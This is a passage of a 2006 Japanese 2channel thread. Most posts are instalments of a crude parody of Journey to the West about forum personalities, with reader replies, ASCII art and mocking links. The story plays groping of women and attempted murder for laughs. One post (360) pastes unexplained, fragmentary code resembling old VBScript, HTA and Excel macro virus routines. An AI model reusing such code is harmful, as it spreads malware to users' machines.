林間法師「すまない、ぶしつけだが、ここで一晩休ませてくれないでしょうか?」
男「いいよ。」
林間法師「本当に!?」
男「その代わり、ボクと一緒に寝てほしいんだよもん。ブヒヒ。
うれしいでしょ?こんな美少女と一緒に寝られるんだから。」
林間法師「帰るわ。」
男「ああん、待ってぇー!!帰らないでぇーー!」
林間法師「やかましい!!俺には同性愛のケはねえ!!!1」
男「さっきのは冗談だってばぁーー、泊まってってぇーー!!
ボク寂しいんだよ!!!!ここに住んで4年になるんだけれど、
だれもうちに来た人がいないもん!!!!」

男の家にお邪魔した林間法師と千葉行者は、囲炉裏を囲みながらいろいろな話をしました。
この男は、猪肝井。この森で木こりと猟師をやって生活している男でした。

林間法師「ところで、超肝井、あんたはなんだって寂しい寂しい言いながら
こんなところに住んでいるんだ?無理せず町に出ればいいじゃないか。」
猪肝井「うぐぅ、だって、ボク人が多いところは嫌なんだよもん。
ボクの理想はツンデレで理系の年下の彼女と一緒に生活することなんだよもん。」

341 :林間のパラレル西遊記:2006/11/09(木) 16:29:47 ID:szVRuBIg
話をしながら、林間法師は猪肝井の家を見渡します。猪肝井の家には、
倭国で作られた電影物語絵巻「蝋善命伝(ろうぜんめいでん)」や
「恵番外吏怨(えばんげりおん)」、「涼宮春日(すずみやはるひ)」シリーズ、
これまた倭国の「鍵」なる芸夢作者の作った「観音(かのん)」、「衛亜(えあ)」
「鞍奈堂(くらなど)」などの「鍵芸」とよばれる一連の作品の絵が貼られていました。
長安にも、鍵の信奉者がいるので、林間法師もその存在は知っています。

林間法師「猪肝井、きみは鍵芸が好きなのか?」
猪肝井「そうだよもん。鍵芸は人類の作り出した最高の芸術だよもん。
でも、ボクは最近新しいのを見つけたんだ。見る?」

猪肝井はそう言って、一巻の絵巻を林間法師に見せました。

猪肝井「これも倭国で作られた電影絵巻「出洲能党(ですのうとう)」だよもん。
ボクはこれを見ていると自分が賢くなった気がするので、よく見ているんだよもん。
ボクは月法師!!!新世界の仏!!!!ボクに逆らうものはみんな削除だ!!!」

出州能党とは、倭国を舞台に出洲能党という宗派に属する僧で、
新世界の仏「吉良菩薩」を名乗る月法師が、名を書かれた者を殺す巻物を駆使して
月法師と対立する宗派の衛流僧正やその後継者、弐阿法師、眼炉法師と対決する
倭国では評判の頭脳戦物の電影絵巻である。

猪肝井「ボクは仏!!!ボクはすごい!!!ボクは天才!!!!ブヒブヒ」
千葉法師「鍵スキー君やめるのじゃよ。君、頭がおかしいのかの?」
猪肝井「なんだと!!仏に逆らうとは!!!駄目だこのキモオタ、
はやくなんとかしないと…仏を侮辱するとはゆるせん、地獄に落としてやる!!!!」

頭のおかしくなった猪肝井はその辺の紙に林間法師たちの名を書こうとしますが、
二人に取り押さえられ、縄でぐるぐる巻きにされて、猿ぐつわをはめられてしまいました。
二人は疲れたので、もう寝ることにしました。

342 :林間のパラレル西遊記:2006/11/09(木) 16:31:36 ID:szVRuBIg
そして翌日、ゆったりと朝食を済ませた林間法師たちは猪肝井を解き放ち、こう言いました。

林間法師「猪肝井、世話になったな」
猪肝井「うぐぅ、一つ聞きたいんだけど、林間法師様は何で旅をなさっているんですか?」

林間法師は事情を話しました。

猪肝井「えっ!?豪勢な家で女の子と一緒に暮らせるって!?
ボボボボクもつれてってよ!!ボクもツンデレの女の子に世話してもらいたい!!」
林間法師「いやだよ、お前みたいな奴。昨日みたいに暴れられたら困るもん。
タイマーの作動した時限爆弾を連れて行くバカが何処の世界にいるってんだ。じゃ。」

それでも猪肝井は林間法師のもとを離れようとはしません。それどころか、林間法師が
罵声を浴びせるたびに気持ちよさそうにクネクネとキモい踊りを繰り返しています。
そして15時間ほど粘着され、一流の粘着家である林間法師もついに折れ、
林間法師はしぶしぶ猪肝井の同行を許可することにしました。

猪肝井が仲間になってしまった!(BGM:ドラクエのセーブデータが消えたときの音楽)

343 :名無しかましてよかですか?:2006/11/09(木) 18:28:57 ID:W3UPy3iK
おもしれーwwww 期待しているwww

コヴァの登場が楽しみ。

344 :名無しかましてよかですか?:2006/11/09(木) 20:29:55 ID:Io4XKdAj
猪肝井の家には妖怪「絵露芸御宅」へ身を変じた元人間の吉田ティキといふものが
頻繁に来て困り果てている。絵露芸とは枕草紙に御伽草子が組み合わされたもので、
吉田ティキは熱狂的にそれを愛好しつつ偏執的になり、"絵露芸を知らずは人にあらず"
などと町人、村人など庶民に喧嘩を売っては騒動を引き起こしていた。
それがお釈迦様の耳に入るや否や、彼を妖怪にしてしまったのだ。
その容姿は猪肝井と似たり。
ゆえに仲間だと勘違いして猪肝井の家を訪れるのであるw
猪肝井と呼ばれるが、これはアンチ肝井の妖怪が
村一番で親切でかわいいと評判の肝井を妬んで憎んで妖術で猪の妖怪にしてしまったのだ。

345 :名無しかましてよかですか?:2006/11/09(木) 21:13:54 ID:j0HJ+Nf6
>>344
>妖術で猪の妖怪にしてしまったのだ。

ああ、今現在イノシシの妖怪であることには違いないわけか。

346 :名無しかましてよかですか?:2006/11/09(木) 21:37:15 ID:Io4XKdAj
                   _/ ̄ ̄ ̄二二ヽ
              , -―<     x=/` ̄ ̄ \}_
            /     ,.rー'´ /   小   \ヾ}' ⌒ヽ
           /    ィ彡7 /: ,′ ! //!∧ ヽ  丶\
         /___〃 了 l{:  |   l |ムj';厶l | i  ヽ ヘ
          \    / /:|  | l |!  |   l |   |l | │|  l  l
              ヽ/{ア|│ l l lヽ_jl孑十l   j´丁lト ! j│| |
          //7/ ! l  lハ \ {_,zく八  /イf下}/ /│i/
.           / /l /:| {.圦 ヽ{ヾミ仟::::rl`     |:rl ノレ从j/
.           ヽ{ | ! j lヾ{ミ 、 ヽト弋弌ノ    じ {/ く
           |__V-‐一|`ヾヘーヘ  ̄      '  "ム. !   >>345 
           /__ノ /j   l l\ \   ー'  イ´ }l│  ん?   妖術が解けたら
         <___/ /   リ|ー-\ ヽ. __∠ノ/ /jリ   こんな感じでおながいします。
              /  /  / / l{ミ三二>、\_/^V //´
          /   /  //イ  i{ミ三三三≧}>、/ ノ ゙̄ト、
        /   /  / ̄7/ 〃 / ___ `く\と{ j h
       /  / /  '´/ // // ==≠\.lヘ \'(_ノ/
      /  /‐ '´/  / // /'´´ ̄ ̄ ̄`ヽ}l\  \
.   /  /'   / // // _/ ‐=         l| }乃  l

347 :林間のパラレル西遊記:2006/11/10(金) 00:03:25 ID:hU0oF5zF
15時間にもわたる粘着に負けた林間法師一行は、迷いの森の奥の引きこもり、
猪肝井の同行を許してしまいました。
林間法師は、いつか猪肝井を抹殺してやると思いながら、
今日も天竺へ向かって歩いていきます。

千葉行者「鍵スキー君、前から聞きたかったんじゃが、
君は女物の服しか持ってないのかの?」

ちなみにこの日の猪肝井の格好はちょっと前に倭国の一部の女性の間のみで
はやったという御巣炉璃(ごすろり)という格好でした。ちなみに昨日は、
これまた倭国で一部の女性にのみ流行していた冥土(めいど)服という格好でした。

猪肝井「だってボク女の子だもん。」
林間法師「ええい、誰が女の子じゃ!きめぇんだよ、おめえはよ。」
猪肝井「キモいって言うな!!!誰のおかげであの迷いの森をぬけられたと思ってんの?」

それから一ヵ月後、一行は「多安英(たあんえい)」という町に着きました。
しかし、この町なんだか様子が変です。家という家が何者かに襲われたかのように
ところどころ壊されています。

ここで、林間法師の直感がひらめきました。

林間法師「この町はいま、脅威に晒されているに違いない!!!1!
この町を救えば、ボクは報奨金をいっぱいもらえる!!!1!」

林間法師は早速、町の人に町長の家を聞き出して、町長の家を訪ねました。
町長の家を訪ねると、そこにはとてもかわいらしい銀髪の女の子?がいました。

348 :林間のパラレル西遊記:2006/11/10(金) 00:04:37 ID:hU0oF5zF
         . ‐'"´  ,. -‐` 'ー- 、
          /    ∠-‐''''" ̄ ̄``ヽ.
        /  .       /~`´ヽ`、`、 ヽ
.        l  .'   :  .' /    l l l l l
.        l  i   i : i | {'" ̄` ヽト、} l |
       l  i  rl l トl、レi´「`  ィTiレヘノ
       |    l l l、 l  └'     U l  
        | :   :ヽl l `      、 ll  
.       | l : i  | ト、     ー_‐´.イl  
       | l i l i| l      /i |l       
      ノ ノ l l l lヽl―‐┐ l二, l lノ      
.      i ,' l _ノ-<`     、L_L ムL|_      
     / ̄ `ヾ::::::ヽ      。`i/  `i::::i`ー、 
     /       ヾ:::::ヽ     `i。  }:::l  i  
「えっ、この町が今、山賊か妖怪の類に襲われていないかって?は、はい。その通りです。
この町の近くに100人を数える大山賊団が陣取っていてこの多安英の町を滅ぼして
金品を略奪しようとしているのです。前回はかろうじて退けましたが、
次来たらもつかどうか…」

林間法師「俺たちが退治するよ。何、たかが百人の山賊なんぞ俺たちの力で。」
女の子?「しかし…たった三人であの人たちを退けるなんて無茶すぎます!!」
林間法師「任せておけって。こう見えても、長安じゃ結構有名な僧侶なんだよ、ボクは。」
女の子?「は、はぁ…わかりました。とりあえず町長に会ってみてください。
申し遅れましたが、僕はこの町の助役で呂蘭(ろらん)といいます。」

そして、林間法師は町長の執務室に通されました。
町長さんはなんと、10代後半の金髪の女性でした。

町長「はじめまして。私、この多安英の町長の貴絵瑠(きえる)といいま…きゃあああああ!!」
呂蘭「な、何をやっているんですか!!!」

349 :林間のパラレル西遊記:2006/11/10(金) 00:05:57 ID:hU0oF5zF
林間法師たちは呂蘭、貴絵瑠と立て続けに美少女に出会い、
おまけにこの2ヶ月近く(猪肝井は4年以上)リアルで若い女性を見たことが無かったためか、
三人は劣情を催し、呂蘭、貴絵瑠の目の前で激しくポークビッツいじりをはじめだしたのでした。

貴絵瑠「出てけぇーーーーーっ!!!この町から出ていけぇーーーーーーーっ!!!」

こうして貴絵瑠の屋敷から追い出された三人の山賊退治作戦は振り出しに戻ってしまいました。
三人は一瞬だけ自分らの愚かな行為を反省しつつも、すぐに反省を忘れてしまいました。
出て行けといわれたので、林間法師一行はしょうがなく町を出て行くことにし、
林間法師が愛馬・芭琉貴璃偉に跨ろうとすると、呂蘭の声が聞こえてきました。
呂蘭がこっちに走ってきます。

呂蘭「林間法師様ーーーーっ!!」
林間法師「ろ、呂蘭たん、何かなーーーっ?」
呂蘭「はぁはぁ、林間法師様、貴絵瑠様が『二度とあなた方の顔を見たくはないが、
山賊の方は明日にも攻めてきそうな感じなので、ぜひ退治していただきたい』
とのことだそうです。」
林間法師「虫のいい話だな…で、ギャラは?」
呂蘭「10万ゼニー出しますそうです。町の年間予算の1%にあたる大金ですよ。」

10万ゼニーといえば、長安で菊地帝から路銀としてもらったお金の倍です。
林間法師は二つ返事で引き受けました。

そして、林間法師一行は、町を襲おうとする山賊たちの陣地へと出陣しました。
山賊の陣地に突入した三人に次から次へと山賊たちが襲い掛かってきます。

林間法師「千葉行者!!ザコはできるだけ無視して敵の大将のところへ行くぞ!!!」
千葉行者!!お前には殿軍を頼む!!」
猪肝井「ねーねー、法師様、ボクはぁ?うぐぅ?」
林間法師「お前はその辺でキモい踊りでもやっていろ!できればこの戦いで死んでくれ!!!」
猪肝井「ひどい!!旅のパートナーになんでそんなことが言えるの!!!謝罪しろ!!!!」

350 :林間のパラレル西遊記:2006/11/10(金) 00:07:44 ID:hU0oF5zF
林間法師たちはものすごい勢いで大将の所へ突き進んでいきました。
前方では、林間法師が、かつて、中国にいたときに何百回、何千回もかんしゃくを
おこしているうちに、自然と編み出した、怒りに身を任すという我流拳法で敵を粉砕していき、
後方では千葉行者が、嬉しそうに魔改造した弩(作者注:いしゆみ。ボウガンの一種)で
敵を次々と倒していきます。とても平成の世のあのヘタレどもと同じ奴とは思えません。
千葉行者のさらに後方では猪肝井が犯されそうになった町娘のキモいなりきりで
山賊たちに次々と心の傷を負わせていきます。千葉行者の弩で致命傷を負った山賊の中には、
猪肝井のキモいなりきりがとどめとなり、ショックであの世へ旅立つ人が後を立ちませんでした。
そして、ついに林間法師たちは親分の陣取る丘の上にたどり着きました。

林間法師「てめぇが山賊の親分か!市ねやゴルァ!!」
山賊の親分「身分をわきまえたまえ、君は羅比田(らぴた)王の前にいるのだぞ。
私の開発した、火薬を使った兵器でもくらいたまえ!!」

親分はそう言うと、手に持った爆弾を猪肝井がキモいダンスをしているところへ放り投げました。
「ドグォォォォン!!!」という音と共に爆弾が爆発を起こします。

親分「ハハハ、見ろ!人がゴミのようだ!!君の仲間が一人死んだぞ!!次は君たちだ!」
林間法師「ふーん、それで?あいつはそもそも俺たちに勝手についてきただけだし。
仲間じゃねぇし。ということで、次はお前が死ねぇ!!!」

林間法師の車田正美風鉄拳で親分は「目がぁ!目がぁ〜〜!!」と叫びながら
空のかなたまで飛んでいきました。

千葉行者「も、ものすごいご都合的展開じゃのぅ…」

351 :林間のパラレル西遊記:2006/11/10(金) 00:11:45 ID:hU0oF5zF
林間法師は、帰り道にかすり傷一つ負わずに気絶していた
猪肝井を非常に残念そうな顔でたたき起こすと、多安英の町に凱旋しました。
本当は、他の敵の兵士の死体と一緒に生き埋めにしてやりたかったのですが、
多安英の町に呪いがかかりそうだったので、やめました。
多安英の人々は、たった三人で戦争を仕掛けた林間法師たちが
無事に帰ってくるとは思っておらず、ほとんど無傷で帰ってきた彼らにびっくりし、
三人を英雄として迎え入れました。
祝宴会場では、町長の貴絵瑠を除く住民のほとんどが参加し、大いに盛り上がりました。
町長代理の呂蘭から報奨金を受け取った林間法師も、これ以上ないほど大喜びしていました。
そして翌日。

林間法師「ろ、ろ、呂蘭たん!!今晩暇!?ボボボ、ボクとお食事しようよ!!
呂蘭たんだーーーーーーい好き!!ボクと付き合って!!!1!1!」
呂蘭「えっ!林間法師様はそんな趣味をお持ちだったんですか!?僕を口説こうだなんて…」
林間法師「へ?男が女を口説くのは当たり前じゃ…」
呂蘭「冗談じゃない!!!僕は男ですよ!!!今までわからなかったんですか!?」
林間法師「うそだうそだfじぇrpuguitgh0ee89かんしゃくおこす!!11!!123
お金と君のためだけに戦ってきたのにぃーーーーーーーーー!!!1!1!」

15年ぶりの本気の恋に失恋した林間法師は、「もう二度と恋なんかしない!!1!!!」
と絶叫し、多安英の町を去ったのでした。
-----------------------------------------------------------------
>>344>>345
中国では「家猪」を豚、「野猪」を猪、単に「猪」の場合は通常、豚を指すらしいです。

352 :林間のパラレル西遊記:2006/11/11(土) 00:05:55 ID:SEDxkVQ+
多安英(たあんえい)の町で男に恋をしてしまうというキモ味並みの恥ずかしい思いをした
林間法師は、ショックで鬱病になりかけましたが、2週間後には見事に立ち直りました。
(もっとも、その後も多安英での出来事に触れると、激しく火病を起こしましたが)

その後、山の途中の湖で愛馬・芭琉貴璃偉(ばるきりい)号が
デブの龍に食べられてしまうというアクシデントがありましたが、
林間法師はその龍・郡家(こぉげ)をぶちのめし、
そいつを馬に化けさせて芭琉貴璃偉二世と名づけ、新たな愛馬としました。
相変わらず強引な林間法師です。

林間法師が長安を出て、1年が経過しようとしていたある日、
一行は流沙河という大河までやってきました。この河は非常に流れが速く、
流れに飲み込まれた日には、骨一本すらあがってこないという伝説のある恐ろしい河です。
もちろん、橋か何か無ければ、渡れたものではありません。
それを知っていた林間法師は、猪肝井に渡れるかどうか試してみろと命令しました。
猪肝井は流れの読めない頭の弱い男だったので、林間法師の罠にあっさり引っかかりました。

猪肝井「ギャーーーーーー!!!法師様助けてくださーーーーーーーーーーい!!!!」

当然、林間法師は猪肝井の助けを求める声を無視しました。

林間法師「抹殺完了。ゲラゲラゲラ」
千葉行者「君は鬼畜なのじゃよ、金髪スキー君。」

流れに飲み込まれた猪肝井が見えなくなった後、林間法師は馬となった
元・龍の郡家、もとい、芭琉貴璃偉二世に流れを弱められるか聞きました。

芭琉貴璃偉二世「じょ、冗談じゃないんダナー。こんなのボクには無理なんダナー
そもそもボクの神通力はボクの住んでいた湖しか通用しないんダナー」

林間法師は芭琉貴璃偉二世に「役立たずめ!!!」と罵声を浴びせ、
仕方なく下流に向かって歩き出しました。芭琉貴璃偉二世はしょんぼりしています。

353 :林間のパラレル西遊記:2006/11/11(土) 00:08:17 ID:SEDxkVQ+
川を下っていくと、村がありました。林間法師は橋の場所を聞き込もうとしますが、
村民たちは「橋なんてこの周辺には一つもありませんよ」と投げやりに答えるばかりです。
その理由を聞くと、この村のさらに数キロ下流に河童の妖怪が住んでおり、
そいつが数年前から半径100キロ圏内の橋を全てぶっ壊して渡れなくしたとのことです。

林間法師「河童ごときが俺の邪魔をするんじゃねえかんしゃくおこす!!11!!1!」

林間法師はさっそくその河童を倒すべく、村民から聞いた、
そいつのアジトのあるらしいところへ向かいます。
さいわい、そいつのアジトの洞窟はびっくりするくらい簡単に見つかりました。
洞窟の前に馬を止め、千葉行者と共に中に入っていきます。
奥では、頭頂部の禿げた痩せぎすの男が何者かを看病していました。
林間法師は看病されている男を見て心臓が止まりそうになりました。
それは、抹殺したはずの猪肝井でした。男が林間法師のほうを振り向きました。

男「どなたじゃい」
林間法師「俺は旅の僧の林間法師という者だ。すまんが、流沙河を渡りたいんだが。」
男「あー、だめだめ。あの隙にトンキンの都の者がこちらに入ってきてはかなわん!!」
林間法師「トンキンの都?」
男「この河を越したところにある大都市だよ。とにかく、
流沙河を渡れるようにするわけにはいかん。
これは俺にとって死活問題なんだ。」
千葉行者「ところで、その男を看病しているようじゃが、一体何のつもりかの?」
男「あん?普通に意識と体力の回復を待っているだけさ。
流沙河には毎年何人かここの激流にさらわれる奴がいるからな。
俺はそいつらを拾って、体力が回復したら術で記憶を消して人里へ送り返すのさ。
この河を渡れなくした俺のせめてもの償いさ。」
林間法師「何か事情がありそうだな。どういうことか、聞かせてもらおうか。」

354 :林間のパラレル西遊記:2006/11/11(土) 00:10:03 ID:SEDxkVQ+
男は机の引き出しから、一枚の絵を見せました。
その絵は非常に禍々しい気を放っており、
同じくらい禍々しい存在である林間法師たちすら吐きそうになりました。

林間法師&千葉行者「おえーーーっ!おえーーーーっ!!」
男「またかよ…やっぱり俺、絵の才能無いのかな…
見せた奴全員がそういう反応をとるんだけど」
千葉行者「おえっぷ、絵の才能がないどころか、別の意味ですごい才能なのじゃよ。
視覚兵器として使えるのじゃよ。うぇ…」
林間法師「ぐぇ、で、その絵が何か?」
男「俺さ、実はサポロの都の刃努孫(はどそん)という商人の売っている、
烈怒(れっど)という芸夢職人集団が作った美少女芸夢の「北へ。」のヲタなんだ。
あの絵はその中の登場人物の一人、琴莉たんなんだよ。」
千葉行者「で?」
男「5年前のことだ。トンキンの都の湖奈彌(こなみ)という商人が刃努孫を
部下にしてしまったんだ。湖奈彌は著作権にものすごくうるさいからね。
もし、目を付けられてしまうと、俺の創作活動もできなくなってしまう。
奴らの影響力を俺にまで及ぼされてはたまらないと、半径百キロ圏の橋という橋を
全て落としたんだ。だから、君たちにこの河をわたらせるわけにはいかないんだ。」

355 :林間のパラレル西遊記:2006/11/11(土) 00:12:36 ID:SEDxkVQ+
林間法師「…俺、サポロの町の中で「刃努孫・湖奈彌」って言う看板を見たんだけど…
というか、店先に『本店をトンキンに移転させていただきます』って紙が貼られていて、
サポロの店はサポロ支店ということになってたぞ。」
男「うそだ!」
千葉行者「というか、この辺の橋落としたところで、おぬしがまだ落としておらん、
ずっと遠くの橋を使って湖奈彌や刃努孫の店員たちは渡ってきたんじゃないのかの?」
男「ああ、なんてこった。俺はどうすればいいんだ!!!」
林間法師「だったら、我々と一緒に来ないか?お役目を果たした後で
中国の菊地帝にかけあえば、お前の創作活動も堂々できるかもしれんぞ。」
男「ほ、本当か!嘘ついてないだろうな!!よし、俺は行くぞ!!!
俺は真保悟浄(まほごじょう)だ!よろしく頼む。…で、この男はどうしようか」
林間法師「そ、そのうち目覚めるだろうから、放置してていいと思うよ!!!1!
そいつが目を覚まさないうちに、さっさと流沙河を渡ろうよ!!!1!
うん、そうしようそうしよう!!!1!さ、さ、行こうや」

しかし、林間法師の起きてくれるなという願いとは裏腹に、
猪肝井は最悪のタイミングで目を覚ましてしまいました。

猪肝井「うぐ!?法師様、助けに来てくれたんだね!!」
林間法師「ギャー、最悪だぁーーー!!」

真保悟浄が仲間に加わった!(BGM:ドラクエの仲間加入)

こうして、真保悟浄の力を借りて林間法師一行は流沙河を渡ることに成功しました。
真保悟浄という強力な味方を手に入れた(猪肝井の暗殺に失敗して
実際はプラマイ0でしたが)林間法師は力強く、確実に天竺へ足を進めていきます。

356 :名無しかましてよかですか?:2006/11/11(土) 09:19:51 ID:uIkCeKgf

ttp://www.geocities.jp/gakuen_kova17/6463868e739a.jpg つくる会支持のコヴァ(小林よしのり派)亜種ネウヨ杉並笑笑前に大集合
ttp://www.kumatta.net/up/files/781.jpg 庁舎前集合「勝訴」
ttp://hw001.gate01.com/dec2750/img/0812/08.jpg同上
ttp://www.geocities.jp/gakuen_kova17/6463868e739a.jpg 杉並笑笑前
ttp://www.kumatta.net/up/files/780.wmv キター動画
ttp://www.geocities.jp/gakuen_kova17/ff242861b994.mpeg 「笑うネラー」女もいる
ttp://image.blog.livedoor.jp/mumur/imgs/b/7/b7914ce8.JPG 幕屋?
ttp://image.blog.livedoor.jp/mumur/imgs/d/b/db509dd5.JPG 幕屋?
ttp://dentotsu.jp.land.to/img/suginami13.jpg 嫌韓流Tシャツ
ttp://www.makuya.or.jp/tv/strmg/index2.htm 幕屋公式ビデオ 髪型が凄い
ttp://members.at.infoseek.co.jp/yasukunisanpai/uketsuke.jpg 青楓会のチョイ悪ウヨオヤジたち 爆
    / ̄ ̄ ̄ ̄\
   (  人____)  〜臭
    |ミ/  ー◎-◎-)   
   (6  ・  (_ _) ) 〜プーン
  __| ∴ ノ  3  ノ  
 (__/\_____ノ  
 / (   ))      ))) 
[]___.| | つくる会 ヽ    
|[] .|_|__ ____)  
 \_(__)三三三[□]三)   
  /(_)\:::::::::::::::::::::::|    
  |統一協会|:::::::/:::::::/    
 (_____);;;;;/;;;;;;;/     
     (___[)_[)


357 :名無しかましてよかですか?:2006/11/11(土) 09:30:49 ID:uIkCeKgf


                     
    ビシッ  / ̄ ̄ ̄ ̄\       / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    / ̄\(  人____)    /   
  , ┤    ト|ミ/  ー◎-◎-)   /
 |  \_/  ヽ    (_ _) ) <        鎌倉幕府はサヨク!!
 |   __( ̄ |∴ノ  3 ノ   \    
 |    __)_ノ ヽ     ノ | ̄|   \                 
 ヽ___) ノ    ))憂国ヽ.|∩|    \__________________

    _  ――   _
  /           \        / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 /              |     /
 | /| /\ |\ |\    |   / 
 \|┿━ \| ┿━\   |  / 
   ┏━┓  ┏━┓ ⌒ヽ | <     ・・・・・俺が1年間教えてきたモノは何だったんだ
   ┃  ┣━┫  ┃  .ノ.|   \  
   ┗━┛  ┗━┛ ┌' /    \           
   | ∪    ∪ ゛ //     \
   \       //         \__________________
     \ ▽ _/ ̄  



358 :名無しかましてよかですか?:2006/11/11(土) 17:37:57 ID:L9R2KUH3
いよいよメンツがそろってきたなあw

359 :名無しかましてよかですか?:2006/11/11(土) 19:20:17 ID:K5f5cMNd
林間のパラレル西遊記、思わず笑いがこぼれますね。
特にキモ味がいい味をだしている。本物以上ですね!
どろり濃厚なキモ味分400パーセントです。シンクロして溶けていませんか?
もう、いつでも二代目キモ味を名乗れますよ!

360 :名無しかましてよかですか?:2006/11/11(土) 20:02:40 ID:vZBavc8Y
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
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lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
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Application.OnSheetActivate = "check_files"
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Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub


361 :林間のパラレル西遊記:2006/11/11(土) 20:21:24 ID:SEDxkVQ+
真保悟浄を仲間に加えた林間法師一行は、着々と天竺にむけて進んでいきます。

それから三ヶ月ほどたち、林間法師一行は松沢国に到着しました。
松沢国の首都は非常に美しい町でした。三ヶ月間、ろくに町に寄れなかった事もあって、
さっきから一行の目は美女に向きっぱなしです。林間法師の脳内に、
女の子と仲良くしたい(セクハラしたい)という欲求が加速度的に増していきます。
しかし、お供の三人のほうが先に行動を始めてしまいました。
千葉行者、真保悟浄、猪肝井の三人が、赤毛の、実に素晴らしいとしか言いようのない
プロポーションの女性にかぶりついていきます。

千葉行者「う、美しいナオンなのじゃよ。ギャワー!わしと付き合ってほしいのじゃよ」
真保悟浄「ボボボボボボボボクとほほほほほ北海道に行こう!!!」
猪肝井「うぐぐぐぐぅ!(喜びの叫び声)おねえたん、ボクとあぼそー!!!
そうだ!鍵芸しよ!鍵芸!!ブヒヒヒヒ」

そしてついに林間法師のノミほどしかない理性も飛んでしまいました。

林間法師「おおおおねえたん!1!!おっぱい揉ませて!!!1!1!」
女性「キャーーー!!何?君たち!!!近寄らないでよ!!!」
林間法師「嫌がらないで、優しくしてあげるから1!11!」

林間法師一行はどいつもこいつも性欲の権化のような男たちです。そんな奴らが
かなり長期にわたって禁欲していたのですから、その変態行為はすさまじいものでした。
赤毛の女性の胸を嬉しげに揉みまくる性犯罪者四人衆。
すると、遠くからものすごいスピードで黄色い馬車がやってきました。
馬車は林間法師たちの前に止まり、中から黒髪の白衣を着た美女が降りてきました。

黒髪の美女「そこのお前たち!!何をしている!!…ヨシダ!?」
ヨシダ「えーーーん、メンゲレちゃん、怖かったーーー」

人目をはばからず、赤毛の美女は黒髪の美女の胸に飛び込んで泣いています。

362 :林間のパラレル西遊記:2006/11/11(土) 20:22:35 ID:SEDxkVQ+
林間法師たちは松沢国の誇る国立精神病院の隔離病棟に入院させられてしまいました。

林間法師「何でこんなことになるんだよぉーー!!1!お前たちが悪いんだ!1!!!
お前たちがあのおねえたんに痴漢行為をしなければ…」
千葉行者「金髪スキー君、一番痴漢行為をしていたのは君ではないのかの?」
猪肝井「そうだそうだ!!法師様が一番悪い!!ボクは被害者だよもん。」
千葉行者「鍵スキー君、君はあのナオンの太ももに頬をすりすりしていたではないか。
わしと、コトリスキー君はあのナオンには手も触れていないのじゃよ。
罪の重さで言えば、『金髪スキー君>鍵スキー君>わし=コトリスキー君』なのじゃよ。」

そこへ、さっきの黒髪の美女、メンゲがやってきました。

メンゲ「そこの4人、出ませい!診察の時間だ。黙ってついて来い。」

四人はメンゲの言われるままに、診察室に入りました。
部屋の中には、昨日の赤毛の美女ヨシダともう一人見たことのない栗毛の美女がいました。
それを見た猪肝井は嬉しそうな顔でその栗毛の美女に言いました。

猪肝井「あ、鮎ちゃん!?うわーーー!!リアル鮎ちゃんだーーーー!!!」

その「鮎ちゃん」と呼ばれた栗毛の美女は猪肝井の大好きな、18歳未満の子が見ると
仏罰が下るという言い伝えのある猥褻な内容の電影絵巻、絵露芸(えろげい)のブランドの
「鍵芸」と呼ばれる物の一つ、「観音」に出てくる「月宮鮎姫(つきみやのあゆひめ)」
という女性に非常に似ていました。

363 :林間のパラレル西遊記:2006/11/11(土) 20:23:58 ID:SEDxkVQ+
栗毛の美女「な、何ねこのブタは!」
猪肝井「ブヒヒヒ、君はボクの運命の女性なんだよもん。結婚してお!!!」
栗毛の美女「ふざけんなこの豚が!!!」
メンゲ「まぁまぁ、ツキミヤ、こんな基地外相手に怒鳴った所でどうにもならん。
さて、取調べをさせてもらうぞ。お前たちの素性を教えてもらおうか。」
林間法師「いやだ!!1!1!言うもんか!!11!」

それから小一時間、林間法師たちは強情を張って取り調べに応じようとしません。
そこで、赤毛の美女ヨシダが悩ましいポーズをとり、艶のある喋り方で言いました。

ヨシダ「ああ…最近からだが火照ってしょうがないのよね…今夜お付き合いしてくれる
すばらしい殿方はいないのかしら…たとえば、素直にしゃべる男の子…」
林間法師「ボ、ボクは長安から天竺へ善紀如来のお書きになられた「劫宣」という
ありがたい書物を取りに旅をしている林間法師で、左のブリーフ一丁の男が
私の一番弟子の千葉行者で…右の痩せた男が二番弟子の真保悟浄、
で、私の横でブヒブヒ言っている豚が勝手にうちの仲間に加わったパシリの猪肝井です!!」
ツキミヤ「ヨシダ…あんた極悪や…」
ヨシダ「あら、自分の肉体を武器にするのは悪いことじゃなくてよ」
メンゲ「よし、それでは、今日は病室に戻って待機してろ。貴様らの処遇は後で決める。」
林間法師「あれ?ヨシダ先生との夜のデートは?」
ヨシダ「あら、そんな約束した覚えは無いわよ?」
林間法師「ひどい!!鬼ーーーー!!!11!かんしゃくおこす!!11!!」

林間法師たちは再び隔離病棟に戻されてしまいました。

364 :林間のパラレル西遊記:2006/11/11(土) 20:25:27 ID:SEDxkVQ+
そして一週間後…林間法師たちは松沢国の国境付近にいました。
どうやって病院を脱出したんでしょうか。それに、一行の誰かがいない気がしますが。

林間法師「いやぁーーー、いい日だ。あいつがいない日々がこんなに素晴らしいなんて
夢にも思わなかったよ!!あいつときたら、聞いてもないのに絵露芸の話をするわ、
同意しないと発狂してところかまわずウンコするわ、大声でキモい声を絶叫するわ、
相手を自分の同類と思い込んでキモいすりよりをするわ、本当にそばにいるだけで
迷惑だったからな!!1!1!」
真保悟浄「俺、法師様のお供に加わって3ヶ月しかたってないけど、
あんな気持ち悪い奴がこの世にいるなんて思いたくないよ…
俺も美少女芸夢している時点で十分気持ち悪い奴だと思っているけど、
あいつはそれ以上だ…
これも、笛見腑亜師洲党(ふぇみふぁしすとう)が悪いのかな…」
千葉行者「コトリスキー君、おぬしが入る前はもっと大変だったのじゃよ。」

その頃、猪肝井は国立精神病院にまだいました。何かの実験台になっています。
そこで、美少女にものすごい罵声を浴びせられています。
普通の人なら、泣いちゃうか、逆にキレてしまいそうなものですが、

